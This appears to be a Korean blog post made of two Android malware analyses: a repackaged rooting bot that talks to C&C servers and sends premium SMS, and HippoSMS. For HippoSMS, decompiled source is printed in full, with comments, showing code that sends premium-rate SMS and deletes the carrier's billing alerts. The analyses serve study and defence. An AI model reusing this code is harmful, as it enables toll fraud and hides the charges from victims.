요즘 안드로이드 봇넷에 관한 연구가 외국에서 활발히 이루어지고 있으며 이와 관련된 악성 앱 또한 많이 발견되고 있는 상황이다. 이러한 상황을 어느정도 파악해 보고자 이렇게 악성 앱 분석을 시도하게 되었다.


지금부터 분석 할 악성 앱은 리팩(RePackage) 된 악성 앱이며, 사용자의 스마트폰 정보를 프리미엄 번호로 메시지 전송을 시도하며 또 원격에 있는 C&C 서버와 통신하는 악성 앱 봇이다.


[android.dds.com-STiNiTER.apk]

Main에 해당하는 apk 파일이며 해당 파일을 압축해제 한 후 디컴파일 하여 보면 몇가지의 패키지 파일들이 나오는데 원본 앱과 비교하여 보면 com.gamebox.service 패키지가 원본 앱에 없다는 것을 확인 할 수 있다.

com.gamebox.service 패키지(이하 악성패키지)는 해당 apk 파일의 Main 클래스의 onCreate() 메소드가 호출되면서 자동으로 호출된다.


[그림 1 - 악성 패키지 호출]


OnCreate() 메소드는 액티비티가 생성되면 자동적으로 시스템이 호출하는 메소드이어서 앱이 실행되면 자동으로 실행되는 메소드라고 생각하면 된다. 결국 앱 실행과 동시에 악성 패키지가 서비스로서 실행되게 된다.


일단 악성 패키지는 아래처럼 어떠한 것들을 어떠한 경로에 복사하는 일을 수행한다.


[그림 2 - 악성 앱 복사 수행 루틴]


if문 바로 아래의 출력문을 보면 rootstate 라는 문자열이 보이는데 해당 문자열만 봐도 해당 루틴이 root 권한으로 실행 된다는 것을 알 수 있다. 바로 이 루틴 밑에는 복사한 악성 앱들을 777(rwxrwxrwx) 권한으로 변경하는 루틴이 위치한다.


[그림 3 - 권한 변경 수행 루틴]


권한 변경 도중 쓰레드를 실행하는데 이 쓰레드는 start 파일을 실행시키는 쓰레드이다.

또 맨 마지막 코드를 보면 initr 파일도 실행시키는 것을 볼 수 있다.


[그림 4 - thread1]


위 코드가 thread1 부분의 코드이며, [그림 4]에서 보듯이 start파일을 실행시키고 있다.

파일의 후반부를 가면 OnCreate() 메소드가 존재하는데 이 루틴에서는 감염 스마트폰의 정보와 보낼 번호등이 설정되고 또 복사될 악성앱이름, 경로등이 설정 된다.


[그림 5 - 여러가지 정보 설정]


스마트폰의 여러 정보들을 수집하여 xml 데이터로 만들고, 또 복사할 앱을 바이너리 모드로 열어 그 데이터를 저장하며 복사 할 위치를 지정하고 있다. 해당 앱들은 모두 resource/raw 디렉토리에 들어있다.


위 apk 파일에서 start 파일과 initr 파일을 실행 시키는 것을 볼 수 있었다. 이번에는 start 파일을 한번 살펴보자.


[start]

해당 파일은 ELF 포맷의 파일로 특별한 악성행위는 하지 않으면 log 파일을 생성/Open 하고 파일이 정상적으로 생성되었다면 Keeper라는 파일을 실행시킨다.


[그림 6 - start 파일 흐름]


이번에는 initr 파일을 살펴보자.


[initr]

해당 파일 또한 ELF 포맷의 파일이며, 여러가지의 파일들의 권한을 설정해준다. 아래는 어떤 파일을 어떤 권한으로 설정하여 주는지 목록화 한 것이다.


 - /data/googleservice.apk - 644

 - /data/unlock.apk - 644

 - /data/googlemessage.apk -644

 - /system/bin/android.info - 777

 - /system/bin/keeper - 4711

 - /system/bin/ts - 4711

 - /system/bin/sh - 4755


해당 악성앱은 앞서 말했듯이 루트권한으로 동작한다. 그러므로 keeper, ts 그리고 쉘인 sh는 루트권한으로 실행되게끔 권한이 설정된 것이다.


이번에는 start 파일에서 실행시킨 keeper 파일을 살펴보자.


[keeper]

해당 파일도 ELF 포맷의 파일이며, ts 파일의 소유자와 권한등을 설정하고 ts 파일을 실행시키는 기능을 수행한다.


[그림 7 - 권한 설정 및 실행 루틴]


[그림 7]을 보면 system() 함수를 이용해 권한 설정 및 ts 파일을 실행 하는 것을 볼 수 있다.


이번에는 keeper 파일이 실행시킨 ts 파일을 살펴보자.


[ts]

해당 파일은 ELF 포맷의 파일로 실질적인 악성 행위를 하는 앱들을 설치하고, C&C 서버와 통신하는 기능을 수행한다. 또 C&C서버와 여러가지 파일을 주고 받는다.


[그림 8 - 악성 앱 설치]


 * 참고 : 악성 앱 설치하기 전  /system/etc의 권한을 777로 변경한다.


[그림 8]은 adb 명령을 이용하여 3개의 악성 앱을 설치하는 명령어들이다.

조금만 더 문자열들을 검색해보면 HTTP 헤더 패킷들이 보인다.


[그림 9 - HTTP 헤더 패킷]


그리고 헤더 패킷 이후로 보면 통신 대상이 되는 C&C 서버 4곳의 주소가 나온다.


[그림 10 - C&C 서버 목록]


해당 C&C 서버들은 아직까지 운영되고 있는 것을 확인하였다.


[그림 11 - 운영되고 있는 C&C 서버]


C&C 서버와 주고 받는 여러가지 파일들은 아래와 같다.


 - ReportDownStatus.do

 - GetPackage.do

 - GetRequestInterval.do

 - HeartBeat.do

 - ReportPushMessageStatus.do


이번에는 ts 파일이 설치하는 악성 앱 3가지에 대해서 알아보자.


[악성 앱 3가지]

일단 googlemessage.apk 파일부터 알아보자. 이름에서도 알수 있듯이 메시지에 관련된 앱이다. 압축해제 후 디컴파일을 수행하여 원본코드를 보면 정말 간단하다.


[그림 12 - 메시지 전송 루틴]


OnCreate() 메소드가 호출되면 설정되어 있는 프리미엄 번호로 sendTextMessage() 메소드를 통해 메시지를 전송한다.


이번에는 googleservice.apk를 살펴보도록 하자. 해당 앱은 악성 패키지가 사용자에 의해 삭제되어 해당 스마트폰이 봇넷에서 빠졌을 때 봇의 기능은 하지 못하더라도 과금유발 기능은 하게끔 제작되어 있다. 또 서비스 이름이 사용자에게 친숙한 GoogleUpdateService이어서 사용자가 삭제하지 않을 확률이 높아 악성 앱이 지워지지 않을 확률이 높다.


[그림 13 - run() 메소드 루틴]


[그림 14 - OnCreate() 메소드 루틴]


OnCreate() 메소드를 보면 악성 앱에 대한 루틴은 없지만 메시지 전송 설정 루틴은 존재하는 것을 볼 수 있다.


마지막으로 unlock.apk 파일을 살펴보자.

해당 파일은 스마트폰의 화면잠금/절전모드를 변경하는 앱이다. 절전모드를 변경하여 감염 스마트폰의 전원을 급격히 소모하게 하려는 의도가 엿보인다.



[그림 15 - Unlock.apk]


클래스의 확장 속성을 보면 BroadcastReceiver이다. 앱에서 어떠한 이벤트가 발생하면 그것을 감지하는 속성인데 OnReceivce() 메소드를 보면 어떤 앱에서 메시지를 전달 받게 되면 화면잠금을 해제하고 새로운 절전모드를 설정한다.


 * 참고 : 새로운 절전모드로 264835462의 숫자를 사용하는데 이는 ACQUIRE_CAUSES_WAKEUP(268435456) + SCREEN_DIM_WAKE_LOCK(6)의 합이다. ACQUIRE_CAUSES_WAKEUP는 CPU를 ON 상태로 만들고 화면을 어둡게 만들며 키보드 레이아웃을 끄는 플래그이고, SCREEN_DIM_WAKE_LOCK는 어플에서 어떤 이벤트가 발생하면 화면과 키보드 레이아웃을 켜주는 플래그로 결국 BroadcastReceiver의 OnReceive() 메소드로 인해 스마트폰은 계속 화면이 켜져있는 상태가 될 것이다.


해당 악성 앱의 흐름을 살펴보면 [그림 16]과 같다.



[그림 16 - 악성 앱의 실행 흐름도]


 * 참고 : 이미지를 클릭하면 원본 이미지 크기로 보입니다.

중국에 있는 아는 사람이 악성코드 샘플을 분석하던 도중 막히는 부분이 있다며 도움을 요청 해 왔다.

공부를 목적으로 분석하는 도중 분석에 어려운 점이 많아 같이 해보자는 연락이었다.

요즘 안드로이드 공부도 하고 있어 재미있겠다 싶어 분석을 시도해 보았다.

분석 대상은 HippoSMS 라는 악성 앱인데 앱의 레이아웃이나 기능들을 보았을 때 겉으로는 음악파일 다운로드 등의 정상적인 앱의 기능으로 위장하고 있었다.

그러나 최종 목적은 SMS를 통하여 사용자 스마트폰의 추가 요금을 발생 시키고 추가 요금이 발생하면 우리나라도 마찬가지이지만, 중국도 추가 요금을 알리는 문자가 오는데 그 문자를 삭제하여 사용자가 추가 요금 발생을 알아차리지 못하도록 하는 것이었다.

악성 행위를 하는 코드는 의외로 간단하다.

일단 앱의 apk 파일을 디컴파일 해야 하는데 이 과정은 생략하고 제일 중요한 부분들만 설명하겠다.

앱을 디컴파일 하고 소스파일을 보면 다른 부분은 모두 앱에서 정상적인 기능을 하는 부분인데 정상적인 기능과 관련이 없어 보이는 sms라는 패키지가 존재한다.

[그림 1 - sms 패키지]

sms 패키지 안에는 3개의 클래스 파일이 있는데, 이 파일들이 악성 행위를 하는 코드를 포함하고 있다.

 - BootReceiver
 - CallContentObserver
 - MessageService


일단은 직관적으로 파악이 가능할 것 같은 MessageService 파일을 분석하여 보자.

해당 파일의 중요 부분만 주석을 달아 설명하도록 하겠다.

public class MessageService extends Service
{
  private int intCounter = 0;
  private Runnable mTasks = new Runnable()
  {
    public void run()
    {
      MessageService localMessageService = MessageService.this;
      localMessageService.intCounter = (1 + localMessageService.intCounter);
      Log.i("HIPPO", "Counter:" + Integer.toString(MessageService.this.intCounter));
      MessageService.this.objHandler.postDelayed(MessageService.this.mTasks, 10000L);
    }
  };
  private NotificationManager notificationManager;
  private Handler objHandler = new Handler();
  SharedPreferences sp; // UI의 상태 저장을 위한 SharedPreferences 객체 변수 sp 선언

  private void showNotification()
  {
    Notification localNotification = new Notification(2130837531, "后台运行中", System.currentTimeMillis());
    localNotification.flags = 2;
    Intent localIntent = new Intent(this, SplashActivity.class);
    localIntent.putExtra("FLG", 1);
    localNotification.setLatestEventInfo(this, "酷6视频", "后台运行中", PendingIntent.getActivity(this, 0, localIntent, 0));
    this.notificationManager.notify(2131034115, localNotification);
  }

  public String getData() // Calender 객체를 이용한 날짜 얻어오는 메소드
  {
    Calendar localCalendar = Calendar.getInstance();
    return localCalendar.get(1) + ":" + localCalendar.get(2) + ":" + localCalendar.get(5);
  }

  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }

  public void onCreate()
  {
    this.notificationManager = ((NotificationManager)getSystemService("notification"));
    super.onCreate();
    this.sp = getSharedPreferences("sendsms", 3);
    getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, new CallContentObserver(this, "10", null)); // sms의 상태 변경을 감시하는 역할 수행 지시
  }

  public void onDestroy()
  {
    this.notificationManager.cancel(2131034115);
    this.objHandler.removeCallbacks(this.mTasks);
    super.onDestroy();
  }

  public void onRebind(Intent paramIntent)
  {
  }

  public void onStart(Intent paramIntent, int paramInt)
  {
    this.objHandler.postDelayed(this.mTasks, 10000L);
    super.onStart(paramIntent, paramInt);
    Log.d(readTag(this.sp) + ".............................." + readTag(this.sp, "data", ""), getData());
/* readTage 메소드 값에 따라 저장되는 Tag 값이 달라지지만 악성코드 수행에는 영향을 미치지 않음.
    if (!readTag(this.sp, "data", "").equals(getData()))
    {
      sendsms("1066156686", "8", "", this); // 전화번호(1066156686)와 메시지(8)을 셋팅하여 sms를 보낸다.
      saveTag(this.sp, "data", getData(), 1);
    }
    else if (readTag(this.sp) < 3)
    {
      sendsms("1066156686", "8", "", this);
      saveTag(this.sp, "data", getData(), 1 + readTag(this.sp));
    }
*/
  }

  public boolean onUnbind(Intent paramIntent)
  {
    return false;
  }

  public int readTag(SharedPreferences paramSharedPreferences)
  {
    return paramSharedPreferences.getInt("size", 0);
  }

  public String readTag(SharedPreferences paramSharedPreferences, String paramString1, String paramString2)
  {
    return paramSharedPreferences.getString(paramString1, paramString2);
  }

  public void saveTag(SharedPreferences paramSharedPreferences, String paramString1, String paramString2, int paramInt)
  {
    SharedPreferences.Editor localEditor = paramSharedPreferences.edit();
    localEditor.putString(paramString1, paramString2);
    localEditor.putInt("size", paramInt);
    localEditor.commit();
  }

  public void sendsms(String paramString1, String paramString2, String paramString3, Context paramContext) // 실제 sms를 보내는 메소드
  {
    SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, PendingIntent.getBroadcast(paramContext, 0, new Intent("SMS_SENT"), 0), PendingIntent.getBroadcast(paramContext, 0, new Intent("SMS_DELIVERED"), 0));
  }

  public class LocalBinder extends Binder
  {
    public LocalBinder()
    {
    }

    public MessageService getService()
    {
      return MessageService.this;
    }
  }
}


MessageService라는 액티비티가 불려올 때마다 onStart() 메소드를 시스템에서 자동으로 호출하여 특정 전화번호로 sms를 보내게 된다.

이러한 동작으로 인해 요금이 발생하게 된다.

그런데 윗부분의 코드를 보면 sms의 상태를 감시하는 코드가 있었다. 왜 감시하는지 분석해보자.

 * 참고 : onCreate()는 액티비티가 생성 될 때 호출되는 시스템 메소드로 MessageService 액티비티가 생성 될 때 한번만 sms를 체크한다.

sms의 상태 변경을 감시 한다고 달아 놓은 주석 부분의 줄에서 실제 감시 역할을 수행하는 소스가 있는 부분은 아래와 같다.

new CallContentObserver(this, "10", null)

위 메소드는 악성 사용자가 만들어 놓은 클래스 파일(CallContentObserver)에 정의되어 있다.

public class CallContentObserver extends ContentObserver // ContentObserver는 어떠한 컨텐츠의 상태를 모니터링 하는 클래스이다.
{
  private static final String strUriInbox = "content://sms";
  private static final Uri uriSms = Uri.parse("content://sms");
  private Context context;
  private String phoneNum;

  public CallContentObserver(Context paramContext, String paramString, Handler paramHandler) // 이 부분이 호출 된다.
  {
    super(paramHandler);
    this.context = paramContext;
    this.phoneNum = paramString; // 10 이라는 숫자가 phoneNum 변수에 저장 된다.
  }

  public void onChange(boolean paramBoolean) // 모니터링 도중 컨텐츠의 변경이 감지되면 자동으로 호출되는 메소드
  {
    super.onChange(paramBoolean);
    Object localObject2 = this.context.getContentResolver();
    Object localObject1 = uriSms;
    Object localObject3 = new String[6];
    localObject3[0] = "_id";
    localObject3[1] = "thread_id";
    localObject3[2] = "address";
    localObject3[3] = "person";
    localObject3[4] = "date";
    localObject3[5] = "body";
    localObject2 = ((ContentResolver)localObject2).query((Uri)localObject1, localObject3, null, null, null);
    if ((localObject2 != null) && (((Cursor)localObject2).moveToFirst()))
    {
      localObject3 = ((Cursor)localObject2).getString(2);
      localObject1 = ((Cursor)localObject2).getString(0);
      if ((localObject3 != null) && (this.phoneNum != null) && (((String)localObject3).startsWith(this.phoneNum))) //  만약 sms 저장 목록에 10으로 시작하는 전화번호가 있다면
      {
        Log.d("ddddddddddddddddssssssssssssssss ssddddddddd", " dfsaaaaaaaaaaaaaaaaaaaaaaaa");
        this.context.getContentResolver().delete(uriSms, "_id=" + (String)localObject1, null); // 해당 sms를 지워버린다.
      }
      ((Cursor)localObject2).close();
    }
  }
}

지금까지의 행동을 살펴보면 악성 앱은 MessageService 액티비가 어디선가 호출되면 sms 목록을 체크하고 10으로 시작하는 전화번호가 있다면 해당 메시지를 지우고, 설정되어 있는 전화번호와 메시지를 토대로 sms를 보낸다.

이러한 행위로 인해 추가요금이 발생한다. 하지만 MessageService 액티비티를 어디서 호출하는 것일까?

마지막으로 BootReceiver 파일을 분석해보자.

public class BootReceiver extends BroadcastReceiver // BroadcastReceiver 상속으로 인해 백그라운드에 BootReceiver가 동작하게 된다.
{
  public void onReceive(Context paramContext, Intent paramIntent) // 만약 시스템이 보내는 모든 브로드캐스팅 메시지를 받게 되면
  {
    Intent localIntent = new Intent("android.intent.action.RUN");
    localIntent.setClass(paramContext, MessageService.class); // MessageService를 서비스 클래스로 설정한다.
    localIntent.setFlags(268435456);
    paramContext.startService(localIntent); // MessageService로 설정 된 서비스를 시작한다.
    if ("android.provider.Telephony.SMS_RECEIVED".equals(paramIntent.getAction())) // 받은 데이터가 SMS 인지 확인
      paramContext.getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, new CallContentObserver(paramContext, "10", null)); // sms 삭제 코드 호출
  }
}

위의 코드를 간단히 설명하면, 해당 앱은 브로드캐스트 메시지 수신자를 백그라운드에 존재하게 하고 시스템이 브로드 캐스트 메시지를 보내면 추가 요금 발생 클래스(MessageService)를 서비스로 만들어 시작시키고 받은 브로드 캐스트 메시지가 sms라면 받은 sms를 지운다.

최종적으로 해당 앱은 앱이 종료되어도 계속 시스템의 브로드캐스팅 메시지를 수신 할 수 있고 브로드 캐스팅 메시지가 수신 될 때마다 추가요금이 발생하며 추가 요금을 알리는 메시지가 올 경우 sms 목록에서 해당 메시지를 지운다.

분석 도중 중국인 친구가 말해준 이야기인데 10으로 시작하는 번호는 휴대전화 업체의 추가 요금 알리미 전화번호라고 한다.

분석 도중 안드로이드 앱 개발에서 배우는 브로드캐스트 등의 용어가 나와 이해하기에 조금 어려운 면이 있지만 나름 쉽게 쓴다고 썼으니 이해해 주기 바란다.

 

+ Recent posts